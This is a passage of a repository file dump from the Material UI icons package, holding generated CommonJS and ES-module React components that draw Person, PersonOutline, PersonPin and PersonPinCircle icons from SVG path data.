    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.17 18-3-3H12c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18zM10.13 7.3C10.41 6.54 11.14 6 12 6c1.1 0 2 .9 2 2 0 .86-.54 1.59-1.3 1.87\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 17.17-3.37-3.38c.64.22 1.23.48 1.77.76.97.51 1.58 1.52 1.6 2.62m1.19 4.02-1.41 1.41-2.61-2.6H4v-2.78c0-1.12.61-2.15 1.61-2.66 1.29-.66 2.87-1.22 4.67-1.45L1.39 4.22 2.8 2.81zM15.17 18l-3-3H12c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18zM12 6c1.1 0 2 .9 2 2 0 .86-.54 1.59-1.3 1.87l1.48 1.48C15.28 10.64 16 9.4 16 8c0-2.21-1.79-4-4-4-1.4 0-2.64.72-3.35 1.82l1.48 1.48C10.41 6.54 11.14 6 12 6\"\n}, \"1\")], 'PersonOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PersonOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PersonOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v2c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v2c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2.1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14.9c-2.97 0-6.1 1.46-6.1 2.1v1.1h12.2V17c0-.64-3.13-2.1-6.1-2.1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6.1 5.1H5.9V17c0-.64 3.13-2.1 6.1-2.1s6.1 1.46 6.1 2.1zM12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6.1c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1\"\n}, \"2\")], 'PersonOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2.1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14.9c-2.97 0-6.1 1.46-6.1 2.1v1.1h12.2V17c0-.64-3.13-2.1-6.1-2.1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6.1 5.1H5.9V17c0-.64 3.13-2.1 6.1-2.1s6.1 1.46 6.1 2.1zM12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6.1c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1\"\n}, \"2\")], 'PersonOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 10c2.7 0 5.8 1.29 6 2H6c.23-.72 3.31-2 6-2m0-12C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 10c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 10c2.7 0 5.8 1.29 6 2H6c.23-.72 3.31-2 6-2m0-12C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 10c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.97 0-9 4.03-9 9 0 4.17 2.84 7.67 6.69 8.69L12 22l2.31-2.31C18.16 18.67 21 15.17 21 11c0-4.97-4.03-9-9-9m0 2c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m0 14.3c-2.5 0-4.71-1.28-6-3.22.03-1.99 4-3.08 6-3.08 1.99 0 5.97 1.09 6 3.08-1.29 1.94-3.5 3.22-6 3.22\"\n}), 'PersonPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.97 0-9 4.03-9 9 0 4.17 2.84 7.67 6.69 8.69L12 22l2.31-2.31C18.16 18.67 21 15.17 21 11c0-4.97-4.03-9-9-9m0 2c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m0 14.3c-2.5 0-4.71-1.28-6-3.22.03-1.99 4-3.08 6-3.08 1.99 0 5.97 1.09 6 3.08-1.29 1.94-3.5 3.22-6 3.22\"\n}), 'PersonPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m0 2c1.1 0 2 .9 2 2 0 1.11-.9 2-2 2s-2-.89-2-2c0-1.1.9-2 2-2m0 10c-1.67 0-3.14-.85-4-2.15.02-1.32 2.67-2.05 4-2.05s3.98.73 4 2.05c-.86 1.3-2.33 2.15-4 2.15\"\n}), 'PersonPinCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m0 2c1.1 0 2 .9 2 2 0 1.11-.9 2-2 2s-2-.89-2-2c0-1.1.9-2 2-2m0 10c-1.67 0-3.14-.85-4-2.15.02-1.32 2.67-2.05 4-2.05s3.98.73 4 2.05c-.86 1.3-2.33 2.15-4 2.15\"\n}), 'PersonPinCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.33 0 4 .67 4 2v.16c-.97 1.12-2.4 1.84-4 1.84s-3.03-.72-4-1.84V13c0-1.33 2.67-2 4-2m0-1c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 .2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'PersonPinCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.33 0 4 .67 4 2v.16c-.97 1.12-2.4 1.84-4 1.84s-3.03-.72-4-1.84V13c0-1.33 2.67-2 4-2m0-1c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 .2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'PersonPinCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.22.36.32.97.32 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2M7.69 12.49C8.88 11.56 10.37 11 12 11s3.12.56 4.31 1.49C15.45 13.98 13.85 15 12 15s-3.45-1.02-4.31-2.51M12 6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}), 'PersonPinCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.22.36.32.97.32 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2M7.69 12.49C8.88 11.56 10.37 11 12 11s3.12.56 4.31 1.49C15.45 13.98 13.85 15 12 15s-3.45-1.02-4.31-2.51M12 6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}), 'PersonPinCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.33 0-4 .67-4 2v.16c.97 1.12 2.4 1.84 4 1.84s3.03-.72 4-1.84V13c0-1.33-2.67-2-4-2m0-1c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-8c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'PersonPinCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.33 0-4 .67-4 2v.16c.97 1.12 2.4 1.84 4 1.84s3.03-.72 4-1.84V13c0-1.33-2.67-2-4-2m0-1c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-8c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'PersonPinCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.33 0 4 .67 4 2v.16c-.97 1.12-2.4 1.84-4 1.84s-3.03-.72-4-1.84V13c0-1.33 2.67-2 4-2m0-1c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 .2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}, \"1\")], 'PersonPinCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.33 0 4 .67 4 2v.16c-.97 1.12-2.4 1.84-4 1.84s-3.03-.72-4-1.84V13c0-1.33 2.67-2 4-2m0-1c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 .2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}, \"1\")], 'PersonPinCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 16h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5V4h14zm-7-7c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V17h12zM8.48 15c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1z\"\n}), 'PersonPinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 16h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5V4h14zm-7-7c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V17h12zM8.48 15c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1z\"\n}), 'PersonPinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l2.29 2.29c.39.39 1.02.39 1.41 0L15 20h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 3.3c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7S9.3 9.49 9.3 8s1.21-2.7 2.7-2.7M18 16H6v-.9c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PersonPinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l2.29 2.29c.39.39 1.02.39 1.41 0L15 20h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 3.3c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7S9.3 9.49 9.3 8s1.21-2.7 2.7-2.7M18 16H6v-.9c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PersonPinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3v18h6l3 3 3-3h6zm-9 3.3c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7S9.3 9.49 9.3 8s1.21-2.7 2.7-2.7M18 16H6v-.9c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PersonPinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinSharp.mjs",
